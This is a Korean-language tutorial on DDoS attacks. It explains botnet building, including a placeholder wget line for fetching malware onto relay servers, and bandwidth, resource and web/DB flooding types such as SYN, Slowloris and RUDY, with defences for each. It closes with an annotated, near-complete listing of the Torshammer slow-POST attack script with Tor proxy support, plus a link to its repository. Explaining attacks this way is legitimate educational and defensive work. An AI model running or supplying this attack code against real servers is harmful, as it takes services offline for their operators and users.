DDOS Attack
다수의 서버, PC등을 이용해 비정상적인 트래픽을 유발시켜서 대상 시스템을 마비시키는 공격 행위
동작원리
1. 취약한 서버를 스캔
2. 경유지 서버에서 악성코드를 내려 받아서 봇넷을 구축
- 예시) wget https://url, wget https://ip
- 봇넷 : 악성코드 등에 감염된 PC, IoT, 서버들로 구성된 집단
3. 공격자는 봇넷에 명령을 전달하여 피해자 서버에 대규모의 트래픽을 유발
공격유형 및 대응방법
대역폭 공격 | 자원 소진 공격 | 웹/DB 부하 공격 | |
목표 | 시스템의 네트워크 대역폭을 포화시키는 것을 목표 | 시스템 리소스를 과도하게 사용하여 서비스를 마비시키는 것을 목표 | 웹 서버 또는 데이터베이스 서버에 과도한 요청을 보내는 것을 목표 |
유형 | UDP Flooding ICMP Flooding 등 |
TCP SYN, ACK Flooding 등 | GET, POST Flooding 등 |
피해 | 동일 네트워크 회선을 사용하는 모든 시스템 접속 불가 | 대상 서버, 시스템 과부하 발생 | 대상 웹/DB 과부하 발생 |
대역폭 공격
UDP Flooding
- UDP 프로토콜의 비연결형 특성을 이용한 공격
- 봇넷을 이용해 피해 서버로 대규모의 UDP 패킷을 전달
- 대규모 UDP 패킷이 피해자의 시스템으로 전달되면서 피해 시스템의 회선 대역폭을 고갈
- 대응 방법 : UDP패킷을 차단하거나 UDP 패킷을 사용한다면 불필요한 포트 차단, 임계치 기반 차단 정책 적용
ICMP Flooding
- 봇넷을 이용해 대량의 ICMP 패킷을 이용하여 네트워크 대역폭을 포화시키거나 고갈시키는 공격
- 대량의 ICMP 패킷을 Request를 보내면 트래픽이 급증하고 이에 대한 응답(Reply)을 처리하기 위해 많은 자원을 소진
- 대응 방법 : ICMP패킷을 차단하거나 ICMP 패킷을 사용한다면 과도하게 많은 ICMP 패킷을 차단하는 룰 적용
자원 소진 공격
TCP SYN Flooding
- 가짜 IP주소를 사용하여 대량의 SYN 패킷을 피해자 서버에 전송하는 공격
- 피해자 서버는 가짜 IP주소로 SYN-ACK응답을 보내고 ACK응답을 기다리지만 가짜 IP주소이기 때문에 보류 상태로 남아있게 되고 새로운 유효한 응답을 받지 못하게 되어 서비스 거부 상태에 빠지게된다.
- 대응 방법 : TCP SYN Cookie를 사용하여 SYN Flooding을 감지하고 차단하거나 TCP 연결유지 시간 조정
TCP ACK Flooding
- 대량의 TCK ACK(인증확인) 패킷을 피해자 서버로 전송하는 공격
- 피해자 서버는 TCK ACK패킷을 확인할 때마다 리소스를 소비하며 패킷 확인을 위한 연결을 유지하기 때문에 유효한 연결을 처리하지 못하고 서비스 거부상태에 빠지게 된다.
- 대응 방법 : 정해진 임계치 이상으로 유입되는 ACK 패킷에 대하여 차단하거나 3-way-handshake를 거치지 않고 발생하는 ACK 패킷에 대하여 차단 설정
웹/DB 부하 공격
GET Flooding
- 대량의 GET 요청을 웹 서버에 전송하는 공격
- 웹 서버에 대량의 GET요청을 보내고 서버는 이 요청에 응답하기 위해 웹 서버의 자원과 DB서버까지 자원을 소진시켜 웹 서비스 이용을 거부시킨다.
- 대응 방법 : 단기간에 대량의 Request를 보낸 악성 클라이언트 차단, 임계치를 초과한 IP 차단
Slowloris Attack
- GET Flooding과 유사하지만 오랜 시간 지속적으로 수행한다는 차이점
- 헤더 값을 모두 전송하지않고 일부분만 전송하여 연결을 유지시킴으로써 서버의 자원을 고갈
- HTTP 헤더의 끝을 /r/n/r/n이라는 개행문자로 구분하는데 이 마지막 개행문자를 보내지 않고 지속적으로 의미없는 변수를 추가하면 서버는 헤더 정보가 아직 전송 중이라고 인식하고 연결을 유지한다.
- 대응 방법 : 세션 유지 시간을 조절하여 유지시간을 초과하면 차단 조치, 헤더 값 일부분을 전송하면 차단 조치
POST Flooding
- 대량의 POST 요청을 웹 서버에 전송하는 공격
- 웹 서버에 대량의 POST 요청을 전송하면 POST요청을 처리하는데 많은 리소스를 사용하게 되고 이 과정에서 자원이 고갈
- 대응 방법 : 과도하게 많은 POST요청을 전송하는 IP 확인 후 차단 조치
RUDY(R-U-Dead-Yet) Attack
- POST Method를 이용한 Slow 공격
- POST Content-Length 헤더에 대량의 데이터를 삽입하여 장시간에 조금씩 분할해서 전송하면 서버는 데이터를 수신하기 위해 장시간 연결을 유지하게 되고 정상 사용자들의 요청을 받아들일 수 없게 된다.
- 대응 방법 : Content-Length 및 Packet-Size 임계치 설정하여 초과하면 차단, 세션 유지 시간을 조절하여 초과하면 차단 조치
DDOS 소스 코드 분석(Torshammer)
※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.
class httpPost(Thread):
def __init__(self, host, port, tor):
Thread.__init__(self)
self.host = host
self.port = port
self.socks = socks.socksocket()
self.tor = tor
self.running = True
def _send_http_post(self, pause=10):
global stop_now
self.socks.send("POST / HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Connection: keep-alive\r\n"
"Keep-Alive: 900\r\n"
"Content-Length: 10000\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
(self.host, random.choice(useragents)))
for i in range(0, 9999):
if stop_now:
self.running = False
break
p = random.choice(string.letters+string.digits)
print(term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL)
self.socks.send(p)
time.sleep(random.uniform(0.1, 3))
# self.socks.close()
- HTTP POST 공격을 할 때 사용되는 변수를 초기화 하는 과정을 거친 후 헤더 값을 지정하고 대량의 데이터를 랜덤으로 선정하여 소켓에 저장합니다.
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.set_proxy(socks.SOCKS5, '127.0.0.1', 9150)
time.sleep(1)
self.socks.connect((self.host, self.port))
print(term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL)
break
except Exception as e:
print(term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL)
print(e)
time.sleep(1)
sys.exit()
while self.running:
try:
self._send_http_post()
except Exception as e:
if e.args[0] == 32 or e.args[0] == 104:
print(term.BOL + term.UP + term.CLEAR_EOL + "Thread broken, restarting..." + term.NORMAL)
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
- tor의 값이 TRUE일 경우 프록시 설정을 하고 설정한 host와 port로 연결을 시도합니다. 그 후 앞에서 설정한 변수인 _send_http_post를 사용해 HTTP POST 공격을 시도합니다.
def main(argv):
try:
opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
except getopt.GetoptError:
usage()
sys.exit(-1)
global stop_now
target = ''
threads = 256
tor = False
port = 80
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit(0)
if o in ("-T", "--tor"):
tor = True
elif o in ("-t", "--target"):
target = a
elif o in ("-r", "--threads"):
threads = int(a)
elif o in ("-p", "--port"):
port = int(a)
if target == '' or int(threads) <= 0:
usage()
sys.exit(-1)
print(term.DOWN + term.RED + "/*" + term.NORMAL)
print(term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL)
print(term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL)
print(term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL)
print(term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL)
rthreads = []
for i in range(threads):
t = httpPost(target, port, tor)
rthreads.append(t)
t.start()
while len(rthreads) > 0:
try:
rthreads = [t.join(1) for t in rthreads if t is not None and t.is_alive()]
except KeyboardInterrupt:
print("\nShutting down threads...\n")
for t in rthreads:
stop_now = True
t.running = False
- 프로그램을 실행시키면 main함수에서 실행되며 target, port, threads, tor 사용 여부 옵션에 따라 프로그램이 실행되게 됩니다.
torshammer 소스 코드
https://github.com/Karlheinzniebuhr/torshammer